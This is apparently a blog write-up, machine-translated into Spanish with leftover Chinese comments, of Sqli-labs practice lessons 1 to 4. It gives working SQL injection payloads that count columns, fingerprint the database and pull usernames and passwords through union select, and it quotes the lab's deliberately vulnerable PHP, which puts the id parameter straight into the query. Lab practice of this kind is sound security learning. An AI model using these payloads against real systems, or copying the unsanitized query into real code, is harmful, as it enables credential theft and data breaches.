[Sqli-labs] Registros de entrada 1 ~ 4

[Sqli-labs] Registros de entrada 1 ~ 4


[Menos-1] Basado en la inyección de caracteres

1. Prueba preliminar

?id=1' and 1=1--+

// El eco es normal

// Al principio traté de comentar el contenido detrás de la instrucción sql con #, pero lo intenté varias veces y fallé. Al principio sospeché que el filtrado de back-end estaba hecho, pero luego pensé en esto como un parámetro en la url , y # en la URL Pertenece al punto de anclaje y no se transferirá al fondo (por supuesto, si se trata de una transferencia de parámetro posterior), de repente se hizo evidente.

imagen-20210308150445215

?id=1' and 1=2--+

// Error de eco

2. Obtener información de la base de datos

// ordena por dicotomía para obtener el número de campos de consulta principales

?id=1' order by 5--+    //报错
?id=1' order by 3--+    //回显正常
?id=1' order by 4--+    //报错

Explique que la cantidad de campos de consulta principales es 3

// La lógica superior de terceros, obtiene la posición del campo del eco

?id=1' and 1=2 union select 1,2,3--+

imagen-20210308151217709

// Como se muestra en la imagen, muestra 2, 3

// Rompiendo el nombre de la base de datos, nombre de usuario, número de versión

?id=1' and 1=2 union select 1,2,concat_ws('~',database(),user(),version())--+

imagen-20210308151757238

// Como se muestra en la figura, se revelan la seguridad del nombre de la base de datos, el nombre de usuario root @ localhost y el número de versión 5.7.26

// Obtener el nombre de la tabla

?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1--+ 

imagen-20210308152855695

// Como se muestra en la figura, obtenga la primera tabla llamada correos electrónicos y cambie el parámetro de límite para obtener gradualmente los nombres de las tablas, referentes, uagents, usuarios, etc.

// Obtener el nombre del campo

?id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1--+

imagen-20210308154558373

// Como se muestra en la figura, obtenga el primer nombre de campo en la tabla de usuarios como id y cambie el parámetro de límite para obtener gradualmente otros nombres de campo username y contraseña

// Obtener nombre de usuario y contraseña

?id=1' and 1=2 union select 1,2,concat_ws('~',username,password) from security.users  limit 7,1--+

imagen-20210308160017969

// Como se muestra en la figura, el nombre de usuario y la contraseña del administrador son admin, admin; los nombres de usuario y las contraseñas de otros usuarios se pueden obtener cambiando el parámetro de límite

Análisis de código fuente

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);     //关闭错误报告
// take the variables 
if(isset($_GET['id']))
{
    
    
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');   //打开当前目录下的result.txt文件,追加内容
fwrite($fp,'ID:'.$id."\n");    //写入id传参内容
fclose($fp);                //关闭文件

// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
    
    
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
    
    
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());     //输出mysql操作产生的错误信息
	echo "</font>";  
	}
}
	else {
    
     echo "Please input the ID as parameter with numeric value";}

?>

[Menos-2] Basado en inyección digital

?id=1 and 1=1   //回显正常
?id=1 and 1=2   //回显失败

Explique que hay una inyección SQL digital.

// ordenar por para obtener el número de campos de consulta principales

?id=1 order by 5  //回显失败
?id=1 order by 3  //回显正常
?id=1 order by 4  //回显失败

Explique que la cantidad de campos de consulta principales es 3

// El tercero está en la posición superior, obtén la posición del campo de eco

?id=1 and 1=2 union select 1,2,3

imagen-20210308161001362

// Indica que la posición del campo repetido es 2, 3

// Obtener la información básica de la base de datos

?id=1 and 1=2 union select 1,2,concat_ws('~',database(),user(),version())

imagen-20210308161327231

// Como se muestra en la figura, se obtienen la seguridad del nombre de la base de datos, el nombre de usuario root @ localhost y el número de versión 5.7.26

// El método para obtener la cuenta de administrador y la contraseña es similar al anterior, así que no lo repetiré.

Análisis de código fuente

Sin grandes cambios


[Menos-3] basado en ') inyección

?id=1') and 1=1--+  //回显正常
?id=1') and 1=2--+  //回显失败

// Indica que hay una inyección SQL basada en ')

// ordenar por prueba el número de campos de consulta principales

?id=1') order by 5--+   //回显失败
?id=1') order by 3--+   //回显正常
?id=1') order by 4--+   //回显失败

// Obtener información de la base de datos

?id=1')  and 1=2 union select 1,2,concat_ws('~',database(),user(),version())--+

// Tenga cuidado, debemos usar una lógica de conjunto vacío y 1 = 2 para bloquear el eco original del sitio web, de modo que el resultado de nuestra consulta se repita

imagen-20210308163635680

Análisis de código fuente

Sin grandes cambios, solo la forma de cierre es diferente


[Menos-4] Basado en ") inyección

?id=1 and 1=1    //正常回显
?id=1 and 1=2    //正常回显

//以为是字符型,加了'和--+继续测
?id=1' and 1=1--+   //正常回显
?id=1' and 1=2--+   //正常回显

//日了怪了,加入'看看
?id='      //回显不正常,但没报错

//加入\看看
?id=\     //终于报错了

imagen-20210308165156532

Desde el mensaje de error, el sql de fondo se cierra usando ")

//Prueba nuevamente

?id=1") and 1=2 union select 1,2,concat_ws('~',database(),user(),version())--+

imagen-20210308170127716

// Como se muestra en la figura, obtenga el nombre de la base de datos, el nombre de usuario y el número de versión

// Siguiendo paso a paso el nombre de la tabla, el nombre del campo, etc.

Análisis de código fuente

Sin grandes cambios, solo la forma de cierre es diferente

Supongo que te gusta

Origin blog.csdn.net/qq_43665434/article/details/114540930
Recomendado
Clasificación